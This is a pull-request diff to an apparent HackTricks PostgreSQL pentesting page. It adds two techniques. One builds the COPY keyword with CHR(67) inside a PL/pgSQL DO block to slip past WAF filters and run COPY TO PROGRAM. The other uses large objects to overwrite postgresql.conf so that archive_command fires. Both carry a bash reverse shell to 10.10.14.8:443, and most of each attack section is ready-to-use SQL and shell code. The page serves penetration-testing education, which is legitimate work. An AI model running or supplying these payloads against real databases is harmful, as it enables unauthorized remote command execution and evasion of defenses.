Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
52 changes: 50 additions & 2 deletions src/network-services-pentesting/pentesting-postgresql.md
Original file line number Diff line number Diff line change
Expand Up @@ -423,6 +423,21 @@ COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::I
Or use the `multi/postgres/postgres_copy_from_program_cmd_exec` module from **metasploit**.\
More information about this vulnerability [**here**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). While reported as CVE-2019-9193, Postges declared this was a [feature and will not be fixed](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/).

#### Bypass keyword filters/WAF to reach COPY PROGRAM

In SQLi contexts with stacked queries, a WAF may remove or block the literal keyword `COPY`. You can dynamically construct the statement and execute it inside a PL/pgSQL DO block. For example, build the leading C with `CHR(67)` to bypass naive filters and EXECUTE the assembled command:

```sql
DO $$
DECLARE cmd text;
BEGIN
cmd := CHR(67) || 'OPY (SELECT '''') TO PROGRAM ''bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"''';
EXECUTE cmd;
END $$;
```

This pattern avoids static keyword filtering and still achieves OS command execution via `COPY ... PROGRAM`. It is especially useful when the application echoes SQL errors and allows stacked queries.

### RCE with PostgreSQL Languages


Expand Down Expand Up @@ -487,6 +502,36 @@ The general steps are:
3. Reload the config: `SELECT pg_reload_conf()`
4. Force the WAL operation to run, which will call the archive command: `SELECT pg_switch_wal()` or `SELECT pg_switch_xlog()` for some Postgres versions

##### Editing postgresql.conf via Large Objects (SQLi-friendly)

When multi-line writes are needed (e.g., to set multiple GUCs), use PostgreSQL Large Objects to read and overwrite the config entirely from SQL. This approach is ideal in SQLi contexts where `COPY` cannot handle newlines or binary-safe writes.

Example (adjust the major version and path if needed, e.g. version 15 on Debian):

```sql
-- 1) Import the current configuration and note the returned OID (example OID: 114575)
SELECT lo_import('/etc/postgresql/15/main/postgresql.conf');

-- 2) Read it back as text to verify
SELECT encode(lo_get(114575), 'escape');

-- 3) Prepare a minimal config snippet locally that forces execution via WAL
-- and base64-encode its contents, for example:
-- archive_mode = 'always'\n
-- archive_command = 'bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"'\n
-- archive_timeout = 1\n
-- Then write the new contents into a new Large Object and export it over the original file
SELECT lo_from_bytea(223, decode('<BASE64_POSTGRESQL_CONF>', 'base64'));
SELECT lo_export(223, '/etc/postgresql/15/main/postgresql.conf');

-- 4) Reload the configuration and optionally trigger a WAL switch
SELECT pg_reload_conf();
-- Optional explicit trigger if needed
SELECT pg_switch_wal(); -- or pg_switch_xlog() on older versions
```

This yields reliable OS command execution via `archive_command` as the `postgres` user, provided `archive_mode` is enabled. In practice, setting a low `archive_timeout` can cause rapid invocation without requiring an explicit WAL switch.

#### **RCE with preload libraries**

More information [about this technique here](https://adeadfed.com/posts/postgresql-select-only-rce/).
Expand Down Expand Up @@ -807,7 +852,10 @@ Client authentication in PostgreSQL is managed through a configuration file call

The available password-based authentication methods in pg_hba.conf are **md5**, **crypt**, and **password**. These methods differ in how the password is transmitted: MD5-hashed, crypt-encrypted, or clear-text. It's important to note that the crypt method cannot be used with passwords that have been encrypted in pg_authid.

{{#include ../banners/hacktricks-training.md}}

## References

- [HTB: DarkCorp by 0xdf](https://0xdf.gitlab.io/2025/10/18/htb-darkcorp.html)
- [PayloadsAllTheThings: PostgreSQL Injection - Using COPY TO/FROM PROGRAM](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md#using-copy-tofrom-program)
- [Postgres SQL injection to RCE with archive_command (The Gray Area)](https://thegrayarea.tech/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)

{{#include ../banners/hacktricks-training.md}}